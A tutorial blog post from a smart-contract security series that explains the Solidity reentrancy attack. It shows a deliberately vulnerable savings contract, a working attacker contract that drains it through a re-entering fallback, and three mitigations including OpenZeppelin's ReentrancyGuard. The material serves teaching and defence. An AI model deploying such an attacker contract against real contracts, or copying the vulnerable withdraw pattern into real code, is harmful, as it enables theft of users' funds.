Reentrancy Attack – Hacking Smart Contracts [Solidity]

5/5 - (2 votes)
Reentrancy Attack – Hacking Smart Contract Security Series [Part 3]

You can check out the code for this article on our GitHub.

Preamble

This post is part 3 in continuation of our Smart Contract Security Series.

This post is part of our Smart Contract Security Series:

  1. Ownership Exploit
  2. Private Variable Exploit
  3. Reentrancy Attack
  4. tx.origin Phishing Attack
  5. Denial of Service Attack
  6. Storage Collision Attack
  7. Randomness Attack
  8. Replay Attack

The post discusses the next attack called the reentrancy attack.

One famous reentrancy attack that occurred in 2016 was the DAO attack leading to losses of $60 million.

Let us try to emulate the attack and see the possible solutions for such an attack. It begins with the attack, followed by three techniques to prevent this attack, and then the conclusion.

Let’s go!

Exploit

To emulate the exploit consider the following contracts. One is the regular savings bank account contract and another is the attacker contract.

In the reentrancy attack, the hacker would typically use a contract to attack the victim.

Here are the two Solidity contracts defined below.

In a file called savingsBank.sol:

contract SavingsBank {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

An attacker contract called attacker.sol:

import "./savingsBank.sol";

contract Attacker {
    SavingsBank public savingsStore;

    constructor(address _savingsStoreAddress) {
        savingsStore = SavingsBank(_savingsStoreAddress);
    }

    // Fallback is called when SavingsBank sends Ether to this     // contract.
    fallback() external payable {
        if (address(savingsStore).balance >= 1 ether) {
            savingsStore.withdraw();
        }
    }

 
    function attack() external payable {
        require(msg.value >= 1 ether);
        savingsStore.deposit{value: 1 ether}();
        savingsStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

The contracts are briefly described below.

The contract SavingsBank.

  • A map that maps the address to the amount.
  • A deposit() function to deposit the amount.
  • A withdraw() function to withdraw the balance amount using call. This function appears perfectly normal as after the balance withdrawal we make the associated balance of the msg.sender (i.e. withdrawer) to 0. We will soon see how this function can be exploited.
  • Finally, a getBalance() function to get the total balance of the contract.

The Attacker contract.

  • A constructor that gets the instance of the SavingsBank contract.
  • A fallback function is defined that gets called as soon as the SavingsBank contract sends some Ether (i.e., when the message call is initiated in the withdraw() function of SavingsBank).
  • An attack function to trigger the hack.
  • Finally, getBalance() to get the balance of the attacker contract.

For the compilation and deployment of contracts refer to the Truffle post here.

How does the exploit occur?. Let us see this in steps.

Let’s assume the SavingsBank has a balance of β€˜3’ Ether or three users have deposited β€˜1’ Ether each.

  1. The attacker calls the attack() function which initially deposits 1 Ether. The map of the SavingsBank contract gets updated with, balances[msg.sender] = '1' Ether (or 1,000,000,000,000,000,000 Wei), where msg.sender is the address of the attacker.
  2. The next function that gets called is, withdraw(). The withdraw() function in SavingsBank gets the balance of the attacker and checks if it is >0, which in this case is β€˜1’ Ether, thus true. It makes a message call and sends β€˜1’ Ether by calling the fallback function of the attacker contract.

The fallback function checks if the balance of the SavingsBank contract is >= β€˜1’ Ether, in this case, it will be left with β€˜3’ Ether because the attacker had deposited β€˜1’ Ether and has withdrawn it back. Again the withdraw() function is triggered. As the balances[msg.sender] is still > 0, it again results in a message call and sends β€˜1’ Ether to the fallback function. This process is repeated until the SavingsBank contract is completely drained of all the Ether.

What exactly happened?

Here is how the functions were called

  • Attacker.attack
  • SavingsBank.deposit
  • SavingsBank.withdraw
  • Attacker fallback (receives 1 Ether)
  • SavingsBank.withdraw
  • Attacker fallback (receives 1 Ether)
  • SavingsBank.withdraw
  • Attacker fallback (receives 1 Ether)
  • SavingsBank.withdraw
  • Attacker fallback (receives 1 Ether)

This process of withdraw() <-> fallback would continue until SavingsBank is left with no Ether, and only at the end the balances[msg.sender] is set to β€˜0’ in the withdraw() function.

Solutions

The above problem of reentrancy can be solved with three possible solutions. Let us look into each of them in detail and decide on the best possible solution among the three.

Solution 1:  Using transfer() or send()

In the SavingsBank contract, instead of using the msg.sender.call(), we can either use msg.sender.transfer(amount) or msg.sender.send(amount).

Both transfer() and send(), due to the inherent design of EVM (Ethereum virtual machine), provide a stipend of 2300 gas to the fallback function.

Thus when the fallback function tries to execute withdraw() function it needs more gas than 2300 and the minimum gas of 2300 will not be sufficient to call withdraw(), thus failing the transaction. The gas 2300 provided by transfer() or send() is only sufficient to execute a simple logging function.

With this, it is possible to stop the reentrancy attack.

However, note that this is not a very clean solution. What if you want to execute more complex transactions in the fallback function, not necessarily reentrancy?

It will not be possible to use transfer() or send() in such cases and in general, the best practice is not to use transfer() or send() to send Ether.

All the contracts have now been using call() for transferring Ether as it can provide all the remaining gas as part of the transaction and also the possibility of specifying the amount of gas to be sent (msg.sender.call{value: msg.value, gas: 5000}).

Solution 2: Code Correction

To fix the reentrancy problem it is possible to make the correction in the code to avoid entering the call() function. The correction is given below in SavingsBank contract.

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");
    }

As can be seen above, the balances of the msg.sender is set to 0 before making the message call(). In such a case when withdraw() is called again, bal = 0 and it will fail to enter because of the condition require(bal >0).

          In this case, too, it is a workaround solution by reorganizing the code sequence and is not the preferred method as the attacker is still able to enter in the withdraw() function.

Solution 3: ReentrancyGuard from OpenZeppelin

By inheriting the OpenZeppelin’s ReentrancyGuard.sol in the SavingsBank contract.

Code below:

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol"
contract SavingsBank is ReentrancyGuard {

    function withdraw() public nonReentrant {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

}

With the reentrancy guard added, the withdraw() function would get called only once due to the mutex lock used in the modifier nonReentrant()  - _status = _ENTERED.

This is the preferred clean solution as it does not allow the attacker to enter the withdraw() function subsequently after the first time.

Conclusion

In this part we saw how a reentrancy attack can cause serious damage during the withdrawal of funds. Unknowingly the attacker can withdraw all the funds.

We also looked at three possible solutions including the transfer/send methods, changing the sequence in the code, and finally the OpenZeppelin’s ReentrancyGuard.

It is best to choose the ReentrancyGuard solution over solutions one and two for it being clean and reusable code.

Thanks and Happy Hacking or preventing the same :-)!


Learn Solidity Course

Solidity is the programming language of the future.

It gives you the rare and sought-after superpower to program against the “Internet Computer”, i.e., against decentralized Blockchains such as Ethereum, Binance Smart Chain, Ethereum Classic, Tron, and Avalanche – to mention just a few Blockchain infrastructures that support Solidity.

In particular, Solidity allows you to create smart contracts, i.e., pieces of code that automatically execute on specific conditions in a completely decentralized environment. For example, smart contracts empower you to create your own decentralized autonomous organizations (DAOs) that run on Blockchains without being subject to centralized control.

NFTs, DeFi, DAOs, and Blockchain-based games are all based on smart contracts.

This course is a simple, low-friction introduction to creating your first smart contract using the Remix IDE on the Ethereum testnet – without fluff, significant upfront costs to purchase ETH, or unnecessary complexity.